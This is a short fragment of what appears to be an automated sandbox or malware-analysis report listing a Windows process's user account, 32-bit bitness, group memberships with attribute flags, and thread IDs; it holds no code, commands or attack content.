os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ecf6" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 68 os_tid = 0x6cc Thread: id = 69 os_tid = 0x6dc Thread: id = 71 os_tid = 0x6fc Thread: id = 72 os_tid = 0x708 Thread: id = 73 os_tid = 0x70c